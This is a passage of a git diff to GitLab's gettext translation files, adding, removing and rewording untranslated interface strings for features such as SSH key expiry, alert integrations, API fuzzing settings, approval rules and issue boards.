-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34234,9 +35087,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34297,6 +35147,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34453,6 +35306,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34594,6 +35453,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34678,9 +35540,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34717,12 +35576,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34756,7 +35609,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34771,9 +35624,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34957,12 +35807,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -35083,6 +35939,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -35176,7 +36035,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35285,6 +36144,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35589,6 +36451,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35783,6 +36654,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35955,7 +36829,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35992,13 +36866,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -36112,9 +36983,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36265,18 +37133,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36307,9 +37169,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36376,15 +37235,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36672,9 +37522,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36720,6 +37567,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 1ecb50c2319..1fba73ee61d 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:58\n"
+"PO-Revision-Date: 2021-04-02 00:20\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
